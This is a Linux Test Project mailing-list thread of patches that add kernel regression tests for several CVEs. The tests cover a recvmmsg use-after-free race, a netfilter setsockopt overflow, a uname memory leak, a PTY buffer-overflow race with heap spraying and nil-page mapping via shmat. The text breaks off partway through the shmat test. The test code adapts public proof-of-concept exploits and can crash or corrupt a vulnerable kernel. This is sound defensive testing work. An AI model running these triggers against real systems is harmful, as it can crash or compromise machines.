* [LTP] [PATCH 02/10] Test for vulnerability CVE-2016-7117 in recvmmsg error return path
2017-05-19 12:31 [LTP] [PATCH 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
@ 2017-05-19 12:31 ` Richard Palethorpe
2017-05-19 13:05 ` Cyril Hrubis
2017-05-19 12:31 ` [LTP] [PATCH 03/10] Test for CVE-2016-4997 on setsockopt Richard Palethorpe
` (7 subsequent siblings)
8 siblings, 1 reply; 12+ messages in thread
From: Richard Palethorpe @ 2017-05-19 12:31 UTC (permalink / raw)
To: ltp
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
configure.ac | 1 +
m4/ltp-mmsghdr.m4 | 22 ++++++
testcases/cve/cve-2016-7117.c | 165 ++++++++++++++++++++++++++++++++++++++++++
3 files changed, 188 insertions(+)
create mode 100644 m4/ltp-mmsghdr.m4
create mode 100644 testcases/cve/cve-2016-7117.c
diff --git a/configure.ac b/configure.ac
index ecc9a2699..ddfc683a3 100644
--- a/configure.ac
+++ b/configure.ac
@@ -189,5 +189,6 @@ LTP_CHECK_EPOLL_PWAIT
LTP_CHECK_KEYUTILS_SUPPORT
LTP_CHECK_SYNC_ADD_AND_FETCH
LTP_CHECK_BUILTIN_CLEAR_CACHE
+LTP_CHECK_MMSGHDR
AC_OUTPUT
diff --git a/m4/ltp-mmsghdr.m4 b/m4/ltp-mmsghdr.m4
new file mode 100644
index 000000000..e7454615c
--- /dev/null
+++ b/m4/ltp-mmsghdr.m4
@@ -0,0 +1,22 @@
+dnl Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
+dnl the GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+AC_DEFUN([LTP_CHECK_MMSGHDR],[
+AC_CHECK_TYPES([struct mmsghdr],,,[
+#include <sys/types.h>
+#define __USE_GNU
+#include <sys/socket.h>
+])
+])
diff --git a/testcases/cve/cve-2016-7117.c b/testcases/cve/cve-2016-7117.c
new file mode 100644
index 000000000..721e31a45
--- /dev/null
+++ b/testcases/cve/cve-2016-7117.c
@@ -0,0 +1,165 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * CVE-2016-7117
+ *
+ * This tests for a use after free caused by a race between recvmmsg() and
+ * close(). The exit path for recvmmsg() in (a2e2725541f: net: Introduce
+ * recvmmsg socket syscall) called fput() on the active file descriptor before
+ * checking the error state and setting the socket's error field.
+ *
+ * If one or more messages are received by recvmmsg() followed by one which
+ * fails, the socket's error field will be set. If just after recvmmsg() calls
+ * fput(), a call to close() is made on the same file descriptor there is a
+ * race between close() releasing the socket object and recvmmsg() setting its
+ * error field.
+ *
+ * fput() does not release a file descriptor's resources (e.g. a socket)
+ * immediatly, it queues them to be released just before a system call returns
+ * to user land. So the close() system call must call fput() after it is
+ * called in recvmmsg(), exit and release the resources all before the socket
+ * error is set.
+ *
+ * Usually if the vulnerability is present the test will be killed with a
+ * kernel null pointer exception. However this is not guaranteed to happen
+ * every time.
+ *
+ * The following was used for reference
+ * https://blog.lizzie.io/notes-about-cve-2016-7117.html
+ */
+
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/syscall.h>
+#include <stdlib.h>
+#include <errno.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "tst_safe_pthread.h"
+#include "tst_timer.h"
+#include "tst_fuzzy_sync.h"
+
+/* The bug was present in the kernel before recvmmsg was exposed by glibc */
+#include "linux_syscall_numbers.h"
+
+#define MSG "abcdefghijklmnop"
+#define RECV_TIMEOUT 1
+#define ATTEMPTS 0x1FFFFF
+
+#ifndef HAVE_STRUCT_MMSGHDR
+struct mmsghdr {
+ struct msghdr msg_hdr;
+ unsigned int msg_len;
+};
+#endif
+
+static int socket_fds[2];
+static struct mmsghdr msghdrs[2] = {
+ {
+ .msg_hdr = {
+ .msg_iov = &(struct iovec) {
+ .iov_len = sizeof(MSG),
+ },
+ .msg_iovlen = 1
+ }
+ },
+ {
+ .msg_hdr = {
+ .msg_iov = &(struct iovec) {
+ .iov_base = (void *)(0xbadadd),
+ .iov_len = ~0,
+ },
+ .msg_iovlen = 1
+ }
+ }
+};
+static char rbuf[sizeof(MSG)];
+static struct timespec timeout = { .tv_sec = RECV_TIMEOUT };
+static struct tst_fzsync_pair fzsync_pair;
+
+static void setup(void)
+{
+ tst_fzsync_pair_init(&fzsync_pair);
+}
+
+static void cleanup(void)
+{
+ close(socket_fds[0]);
+ close(socket_fds[1]);
+}
+
+static void *send_and_close(void *arg)
+{
+ send(socket_fds[0], MSG, sizeof(MSG), 0);
+ send(socket_fds[0], MSG, sizeof(MSG), 0);
+
+ tst_fzsync_delay_b(&fzsync_pair);
+
+ close(socket_fds[0]);
+ close(socket_fds[1]);
+ tst_fzsync_time_b(&fzsync_pair);
+
+ return arg;
+}
+
+static void run(void)
+{
+ pthread_t pt_send;
+ int i, stat, too_early_count = 0;
+
+ msghdrs[0].msg_hdr.msg_iov->iov_base = (void *)&rbuf;
+
+ for (i = 1; i < ATTEMPTS; i++) {
+ if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, socket_fds))
+ tst_brk(TBROK | TERRNO, "Socket creation failed");
+
+ SAFE_PTHREAD_CREATE(&pt_send, 0, send_and_close, 0);
+
+ tst_fzsync_delay_a(&fzsync_pair);
+
+ stat = tst_syscall(__NR_recvmmsg,
+ socket_fds[1], msghdrs, 2, 0, &timeout);
+ tst_fzsync_time_a(&fzsync_pair);
+ if (stat < 0 && errno == EBADF)
+ too_early_count++;
+ else if (stat == 0)
+ tst_res(TWARN, "No messages received, should be one");
+ else if (stat < 0)
+ tst_res(TWARN | TERRNO, "recvmmsg failed unexpectedly");
+
+ SAFE_PTHREAD_JOIN(pt_send, 0);
+
+ tst_fzsync_pair_update(i, &fzsync_pair);
+ if (!(i & 0x7FFFF)) {
+ tst_res(TINFO, "Too early: %.1f%%",
+ 100 * too_early_count / (float)i);
+ tst_fzsync_pair_info(&fzsync_pair);
+ }
+ }
+
+ tst_res(TPASS, "Nothing happened after %d attempts", ATTEMPTS);
+}
+
+static struct tst_test test = {
+ .tid = "cve-2016-7117",
+ .test_all = run,
+ .setup = setup,
+ .cleanup = cleanup,
+ .min_kver = "2.6.33",
+};
--
2.12.2
^ permalink raw reply related [flat|nested] 12+ messages in thread* [LTP] [PATCH 03/10] Test for CVE-2016-4997 on setsockopt
2017-05-19 12:31 [LTP] [PATCH 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
2017-05-19 12:31 ` [LTP] [PATCH 02/10] Test for vulnerability CVE-2016-7117 in recvmmsg error return path Richard Palethorpe
@ 2017-05-19 12:31 ` Richard Palethorpe
2017-05-19 12:31 ` [LTP] [PATCH 04/10] Test for uname26 exploit CVE-2012-0957 Richard Palethorpe
` (6 subsequent siblings)
8 siblings, 0 replies; 12+ messages in thread
From: Richard Palethorpe @ 2017-05-19 12:31 UTC (permalink / raw)
To: ltp
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
testcases/cve/cve-2016-4997.c | 93 +++++++++++++++++++++++++++++++++++++++++++
1 file changed, 93 insertions(+)
create mode 100644 testcases/cve/cve-2016-4997.c
diff --git a/testcases/cve/cve-2016-4997.c b/testcases/cve/cve-2016-4997.c
new file mode 100644
index 000000000..69424e1a5
--- /dev/null
+++ b/testcases/cve/cve-2016-4997.c
@@ -0,0 +1,93 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ * Based on repro-compatReleaseEntry.c by NCC group
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Test for CVE-2016-4997
+ *
+ * For a full explanation of how the vulnerability works see:
+ * https://github.com/nccgroup/TriforceLinuxSyscallFuzzer/tree/master/crash_reports/report_compatIpt
+ *
+ * The original vulnerability was present in the 32-bit compatibility system
+ * call, so the test should be compiled with -m32 and run on a 64-bit kernel.
+ * For simplicities sake the test requests root privliges instead of creating
+ * a user namespace.
+ */
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <net/if.h>
+#include <limits.h>
+#include <linux/netfilter_ipv4/ip_tables.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "tst_kernel.h"
+
+#define TOO_SMALL_OFFSET 74
+#define OFFSET_OVERWRITE 0xFFFF
+#define NEXT_OFFSET (sizeof(struct ipt_entry) \
+ + sizeof(struct xt_entry_match) \
+ + sizeof(struct xt_entry_target))
+#define PADDING (OFFSET_OVERWRITE - NEXT_OFFSET)
+
+struct payload {
+ struct ipt_replace repl;
+ struct ipt_entry ent;
+ struct xt_entry_match match;
+ struct xt_entry_target targ;
+ char padding[PADDING];
+ struct xt_entry_target targ2;
+};
+
+static void setup(void)
+{
+ if (tst_kernel_bits() == 32 || sizeof(long) > 4)
+ tst_res(TCONF,
+ "The vulnerability was only present in 32-bit compat mode");
+}
+
+static void run(void)
+{
+ int ret, sock_fd;
+ struct payload p = { 0 };
+
+ sock_fd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0);
+
+ strncpy(p.match.u.user.name, "icmp", sizeof(p.match.u.user.name));
+ p.match.u.match_size = OFFSET_OVERWRITE;
+
+ p.ent.next_offset = NEXT_OFFSET;
+ p.ent.target_offset = TOO_SMALL_OFFSET;
+
+ p.repl.num_entries = 2;
+ p.repl.num_counters = 1;
+ p.repl.size = sizeof(struct payload);
+ p.repl.valid_hooks = 0;
+
+ ret = setsockopt(sock_fd, SOL_IP, IPT_SO_SET_REPLACE,
+ &p, sizeof(struct payload));
+ tst_res(TPASS | TERRNO, "We didn't cause a crash, setsockopt returned %d", ret);
+}
+
+static struct tst_test test = {
+ .tid = "cve-2016-4997",
+ .min_kver = "2.6.32",
+ .setup = setup,
+ .test_all = run,
+ .needs_root = 1,
+};
--
2.12.2
^ permalink raw reply related [flat|nested] 12+ messages in thread* [LTP] [PATCH 04/10] Test for uname26 exploit CVE-2012-0957
2017-05-19 12:31 [LTP] [PATCH 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
2017-05-19 12:31 ` [LTP] [PATCH 02/10] Test for vulnerability CVE-2016-7117 in recvmmsg error return path Richard Palethorpe
2017-05-19 12:31 ` [LTP] [PATCH 03/10] Test for CVE-2016-4997 on setsockopt Richard Palethorpe
@ 2017-05-19 12:31 ` Richard Palethorpe
2017-05-19 12:31 ` [LTP] [PATCH 05/10] Add CVE .gitignore, Makefile and runtest files Richard Palethorpe
` (5 subsequent siblings)
8 siblings, 0 replies; 12+ messages in thread
From: Richard Palethorpe @ 2017-05-19 12:31 UTC (permalink / raw)
To: ltp
Attempt to exploit the uname kernel memory leak which occurred when the
UNAME26 personality was set.
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
testcases/cve/cve-2012-0957.c | 90 +++++++++++++++++++++++++++++++++++++++++++
1 file changed, 90 insertions(+)
create mode 100644 testcases/cve/cve-2012-0957.c
diff --git a/testcases/cve/cve-2012-0957.c b/testcases/cve/cve-2012-0957.c
new file mode 100644
index 000000000..3a2afe08e
--- /dev/null
+++ b/testcases/cve/cve-2012-0957.c
@@ -0,0 +1,90 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ * Copyright (c) 2012, Kees Cook <keescook@chromium.org>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Check that memory after the string terminator in all the utsname fields has
+ * been zeroed. cve-2012-0957 leaked kernel memory through the release field
+ * when the UNAME26 personality was set.
+ *
+ * Thanks to Kees Cook for the original proof of concept:
+ * http://www.securityfocus.com/bid/55855/info
+ */
+
+#include <string.h>
+#include <sys/utsname.h>
+#include <sys/personality.h>
+#include "tst_test.h"
+
+#define UNAME26 0x0020000
+
+static int check_field(char *bytes, size_t length, char *field)
+{
+ size_t i = strlen(bytes) + 1;
+
+ for (; i < length; i++) {
+ if (bytes[i]) {
+ tst_res(TFAIL, "Bytes leaked in %s!", field);
+ return 1;
+ }
+ }
+ return 0;
+}
+
+
+static void try_leak_bytes(void)
+{
+ struct utsname buf;
+
+ if (uname(&buf))
+ tst_brk(TBROK | TERRNO, "Call to uname failed");
+
+#define CHECK_FIELD(field_name) \
+ (check_field(buf.field_name, ARRAY_SIZE(buf.field_name), #field_name))
+
+ if (!(CHECK_FIELD(release) |
+ CHECK_FIELD(sysname) |
+ CHECK_FIELD(nodename) |
+ CHECK_FIELD(version) |
+ CHECK_FIELD(machine) |
+#ifdef _GNU_SOURCE
+ CHECK_FIELD(domainname) |
+#endif
+ 0)) {
+ tst_res(TPASS, "All fields zeroed after string terminator");
+ }
+#undef CHECK_FIELD
+}
+
+static void run(unsigned int test_nr)
+{
+ if (!test_nr) {
+ tst_res(TINFO, "Calling uname with default personality");
+ try_leak_bytes();
+ } else {
+ if (personality(PER_LINUX | UNAME26) < 0)
+ tst_brk(TCONF | TERRNO,
+ "Could not change personality to UNAME26");
+ tst_res(TINFO, "Calling uname with UNAME26 personality");
+ try_leak_bytes();
+ }
+}
+
+static struct tst_test test = {
+ .tid = "cve-2012-0957",
+ .test = run,
+ .tcnt = 2,
+};
--
2.12.2
^ permalink raw reply related [flat|nested] 12+ messages in thread* [LTP] [PATCH 05/10] Add CVE .gitignore, Makefile and runtest files
2017-05-19 12:31 [LTP] [PATCH 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
` (2 preceding siblings ...)
2017-05-19 12:31 ` [LTP] [PATCH 04/10] Test for uname26 exploit CVE-2012-0957 Richard Palethorpe
@ 2017-05-19 12:31 ` Richard Palethorpe
2017-05-19 13:06 ` Cyril Hrubis
2017-05-19 12:31 ` [LTP] [PATCH 06/10] Test for CVE-2014-0196 PTY echo race Richard Palethorpe
` (4 subsequent siblings)
8 siblings, 1 reply; 12+ messages in thread
From: Richard Palethorpe @ 2017-05-19 12:31 UTC (permalink / raw)
To: ltp
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
runtest/cve | 5 +++++
runtest/syscalls | 2 ++
scenario_groups/default | 1 +
testcases/cve/.gitignore | 4 ++++
testcases/cve/Makefile | 29 +++++++++++++++++++++++++++++
5 files changed, 41 insertions(+)
create mode 100644 runtest/cve
create mode 100644 testcases/cve/.gitignore
create mode 100644 testcases/cve/Makefile
diff --git a/runtest/cve b/runtest/cve
new file mode 100644
index 000000000..83b53d906
--- /dev/null
+++ b/runtest/cve
@@ -0,0 +1,5 @@
+# Tests which check for vulnerabilities by CVE number
+cve-2012-0957 cve-2012-0957
+cve-2016-4997 cve-2016-4997
+cve-2016-5195 dirtyc0w
+cve-2016-7117 cve-2016-7117
diff --git a/runtest/syscalls b/runtest/syscalls
index 59094568d..e72ed0166 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -1143,6 +1143,7 @@ set_tid_address01 set_tid_address01
setsid01 setsid01
setsockopt01 setsockopt01
+cve-2016-4997 cve-2016-4997
settimeofday01 settimeofday01
settimeofday02 settimeofday02
@@ -1354,6 +1355,7 @@ umask01 umask01
uname01 uname01
uname02 uname02
uname03 uname03
+cve-2012-0957 cve-2012-0957
unlink01 symlink01 -T unlink01
unlink05 unlink05
diff --git a/scenario_groups/default b/scenario_groups/default
index b0d770171..5658a618b 100644
--- a/scenario_groups/default
+++ b/scenario_groups/default
@@ -32,3 +32,4 @@ can
cpuhotplug
net.ipv6_lib
input
+cve
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
new file mode 100644
index 000000000..ff5844263
--- /dev/null
+++ b/testcases/cve/.gitignore
@@ -0,0 +1,4 @@
+cve-2012-0957
+cve-2014-0196
+cve-2016-4997
+cve-2016-7117
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
new file mode 100644
index 000000000..e002387aa
--- /dev/null
+++ b/testcases/cve/Makefile
@@ -0,0 +1,29 @@
+# Copyright (c) 2017 Linux Test Project
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+top_srcdir ?= ../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+CFLAGS += -D_GNU_SOURCE
+
+<<<<<<< HEAD
+cve-2016-7117: LDFLAGS += -lpthread
+=======
+cve-2014-0196: LDFLAGS += -lpthread -lutil -lrt
+cve-2016-7117: LDFLAGS += -lpthread -lrt
+>>>>>>> 4dbfb8e79... Add -lrt
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
--
2.12.2
^ permalink raw reply related [flat|nested] 12+ messages in thread* [LTP] [PATCH 06/10] Test for CVE-2014-0196 PTY echo race
2017-05-19 12:31 [LTP] [PATCH 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
` (3 preceding siblings ...)
2017-05-19 12:31 ` [LTP] [PATCH 05/10] Add CVE .gitignore, Makefile and runtest files Richard Palethorpe
@ 2017-05-19 12:31 ` Richard Palethorpe
2017-05-19 12:31 ` [LTP] [PATCH 07/10] Test for CVE-2017-5669 in shmat Richard Palethorpe
` (3 subsequent siblings)
8 siblings, 0 replies; 12+ messages in thread
From: Richard Palethorpe @ 2017-05-19 12:31 UTC (permalink / raw)
To: ltp
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
runtest/cve | 1 +
testcases/cve/Makefile | 4 --
testcases/cve/cve-2014-0196.c | 163 ++++++++++++++++++++++++++++++++++++++++++
3 files changed, 164 insertions(+), 4 deletions(-)
create mode 100644 testcases/cve/cve-2014-0196.c
diff --git a/runtest/cve b/runtest/cve
index 83b53d906..6556ffb0f 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -1,5 +1,6 @@
# Tests which check for vulnerabilities by CVE number
cve-2012-0957 cve-2012-0957
+cve-2014-0196 cve-2014-0196
cve-2016-4997 cve-2016-4997
cve-2016-5195 dirtyc0w
cve-2016-7117 cve-2016-7117
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index e002387aa..d642b73b4 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -19,11 +19,7 @@ include $(top_srcdir)/include/mk/testcases.mk
CFLAGS += -D_GNU_SOURCE
-<<<<<<< HEAD
-cve-2016-7117: LDFLAGS += -lpthread
-=======
cve-2014-0196: LDFLAGS += -lpthread -lutil -lrt
cve-2016-7117: LDFLAGS += -lpthread -lrt
->>>>>>> 4dbfb8e79... Add -lrt
include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/cve/cve-2014-0196.c b/testcases/cve/cve-2014-0196.c
new file mode 100644
index 000000000..9df8282e6
--- /dev/null
+++ b/testcases/cve/cve-2014-0196.c
@@ -0,0 +1,163 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ * Original POC by Matthew Daley <mattd@bugfuzz.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * This test attempts to cause a buffer overflow using the race condition
+ * described in CVE-2014-0196. If the test is successful in causing an
+ * overflow it will most likely result in an immediate Oops, restart or
+ * freeze. However if it overwrites memory not accessed during the test then
+ * it could happen at a later time or not at all which is more likely if SLAB
+ * randomization has been implemented. However as it currently stands, the test
+ * usually crashes as soon as the delay has been calibrated.
+ *
+ * To maximise the chances of the buffer overflow doing immediate detectable
+ * damage the SLAB filler sockets and ioctls from the original exploit POC
+ * have been kept even though they are not strictly necessary to reproduce the
+ * bug.
+ *
+ * Further details:
+ * see linux commit 4291086b1f081b869c6d79e5b7441633dc3ace00
+ * privilege escalation POC https://www.exploit-db.com/exploits/33516/
+ */
+
+#include <pty.h>
+#include <stdio.h>
+#include <string.h>
+#include <termios.h>
+#include <limits.h>
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_pthread.h"
+
+#include "tst_fuzzy_sync.h"
+
+#define ONEOFF_ALLOCS 200
+#define RUN_ALLOCS 30
+#define ATTEMPTS 0x7000
+#define BUFLEN 512
+
+static int master_fd, slave_fd;
+static int filler_ptys[ONEOFF_ALLOCS * 2];
+static int target_ptys[RUN_ALLOCS * 2];
+static char buf[BUFLEN];
+
+static struct tst_fzsync_pair fzsync_pair = {
+ .delay_inc = 100,
+};
+
+static void create_pty(int *amaster, int *aslave)
+{
+ if (openpty(amaster, aslave, NULL, NULL, NULL) == -1)
+ tst_brk(TBROK | TERRNO, "pty creation failed");
+}
+
+static void setup(void)
+{
+ int i;
+
+ tst_fzsync_pair_init(&fzsync_pair);
+ for (i = 0; i < ONEOFF_ALLOCS; i++)
+ create_pty(&filler_ptys[i],
+ &filler_ptys[i + ONEOFF_ALLOCS]);
+}
+
+static void *overwrite_thread_fn(void *p)
+{
+ tst_fzsync_delay_b(&fzsync_pair);
+ tst_fzsync_time_b(&fzsync_pair);
+
+ SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
+ SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
+ SAFE_WRITE(0, slave_fd, buf, BUFLEN);
+
+ return p;
+}
+
+static void run(void)
+{
+ struct termios t;
+ pthread_t overwrite_thread;
+ int i, j;
+
+ tst_res(TINFO, "Attempting to overflow into a tty_struct...");
+
+ for (i = 0; i < ATTEMPTS; i++) {
+ create_pty(&master_fd, &slave_fd);
+
+ for (j = 0; j < RUN_ALLOCS; j++)
+ create_pty(&target_ptys[j],
+ &target_ptys[j + RUN_ALLOCS]);
+ SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]);
+ SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]);
+
+ SAFE_WRITE(0, slave_fd, buf, 1);
+
+ tcgetattr(master_fd, &t);
+ t.c_oflag &= ~OPOST;
+ t.c_lflag |= ECHO;
+ tcsetattr(master_fd, TCSANOW, &t);
+
+ SAFE_PTHREAD_CREATE(&overwrite_thread, NULL,
+ overwrite_thread_fn, NULL);
+
+ tst_fzsync_delay_a(&fzsync_pair);
+ tst_fzsync_time_a(&fzsync_pair);
+ SAFE_WRITE(0, master_fd, "A", 1);
+
+ SAFE_PTHREAD_JOIN(overwrite_thread, NULL);
+
+ tst_fzsync_pair_update(i, &fzsync_pair);
+
+ if (!(i & 0x1FFF))
+ tst_fzsync_pair_info(&fzsync_pair);
+
+ for (j = 0; j < RUN_ALLOCS; j++) {
+ if (j == RUN_ALLOCS / 2)
+ continue;
+
+ ioctl(target_ptys[j], 0xdeadbeef);
+ ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef);
+ SAFE_CLOSE(target_ptys[j]);
+ SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]);
+ }
+
+ ioctl(master_fd, 0xdeadbeef);
+ ioctl(slave_fd, 0xdeadbeef);
+ SAFE_CLOSE(master_fd);
+ SAFE_CLOSE(slave_fd);
+ }
+
+ tst_res(TPASS, "Nothing bad happened, probably.");
+}
+
+static void cleanup(void)
+{
+ int i;
+
+ for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
+ close(filler_ptys[i]);
+ close(master_fd);
+ close(slave_fd);
+}
+
+static struct tst_test test = {
+ .tid = "cve-2014-0196",
+ .setup = setup,
+ .cleanup = cleanup,
+ .test_all = run,
+};
--
2.12.2
^ permalink raw reply related [flat|nested] 12+ messages in thread* [LTP] [PATCH 07/10] Test for CVE-2017-5669 in shmat
2017-05-19 12:31 [LTP] [PATCH 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
` (4 preceding siblings ...)
2017-05-19 12:31 ` [LTP] [PATCH 06/10] Test for CVE-2014-0196 PTY echo race Richard Palethorpe
@ 2017-05-19 12:31 ` Richard Palethorpe
2017-05-19 12:31 ` [LTP] [PATCH 08/10] Test for CVE-2017-6951 in request_key Richard Palethorpe
` (2 subsequent siblings)
8 siblings, 0 replies; 12+ messages in thread
From: Richard Palethorpe @ 2017-05-19 12:31 UTC (permalink / raw)
To: ltp
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
runtest/cve | 2 +
runtest/syscalls | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/cve-2017-5669.c | 90 +++++++++++++++++++++++++++++++++++++++++++
4 files changed, 94 insertions(+)
create mode 100644 testcases/cve/cve-2017-5669.c
diff --git a/runtest/cve b/runtest/cve
index 6556ffb0f..ee0614a9c 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -4,3 +4,5 @@ cve-2014-0196 cve-2014-0196
cve-2016-4997 cve-2016-4997
cve-2016-5195 dirtyc0w
cve-2016-7117 cve-2016-7117
+cve-2017-5669 cve-2017-5669
+cve-2017-6951 cve-2017-6951
diff --git a/runtest/syscalls b/runtest/syscalls
index e72ed0166..0f3c45ada 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -1164,6 +1164,7 @@ setxattr03 setxattr03
shmat01 shmat01
shmat02 shmat02
shmat03 shmat03
+cve-2017-5669 cve-2017-5669
shmctl01 shmctl01
shmctl02 shmctl02
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index ff5844263..715cbab38 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -2,3 +2,4 @@ cve-2012-0957
cve-2014-0196
cve-2016-4997
cve-2016-7117
+cve-2017-5669
diff --git a/testcases/cve/cve-2017-5669.c b/testcases/cve/cve-2017-5669.c
new file mode 100644
index 000000000..a2ad7f8e3
--- /dev/null
+++ b/testcases/cve/cve-2017-5669.c
@@ -0,0 +1,90 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Test for CVE-2017-5669 which allows us to map the nil page using shmat.
+ *
+ * When the bug is present shmat(..., (void *)1, SHM_RND) will round address
+ * 0x1 down to zero and give us the (nil/null) page. With the current bug fix
+ * in place, shmat it will return EINVAL instead. We also check to see if the
+ * returned address is outside the nil page in case an alternative fix has
+ * been applied.
+ *
+ * In any case we manage to map some memory we also try to write to it. This
+ * is just to see if we get an access error or some other unexpected behaviour.
+ *
+ * See commit 95e91b831f (ipc/shm: Fix shmat mmap nil-page protection)
+ */
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/shm.h>
+
+#include <stdio.h>
+#include <errno.h>
+#include <string.h>
+
+#include "tst_test.h"
+
+static int shm_id;
+static void *shm_addr;
+
+static void cleanup(void)
+{
+ if (shm_addr && shmdt(shm_addr) == -1)
+ tst_res(TWARN | TERRNO, "shmdt(shm_addr) == -1");
+ shm_addr = 0;
+
+ if (shm_id && shmctl(shm_id, IPC_RMID, 0) == -1)
+ tst_res(TWARN | TERRNO, "shmctl(shm_id) == -1");
+ shm_id = 0;
+}
+
+static void run(void)
+{
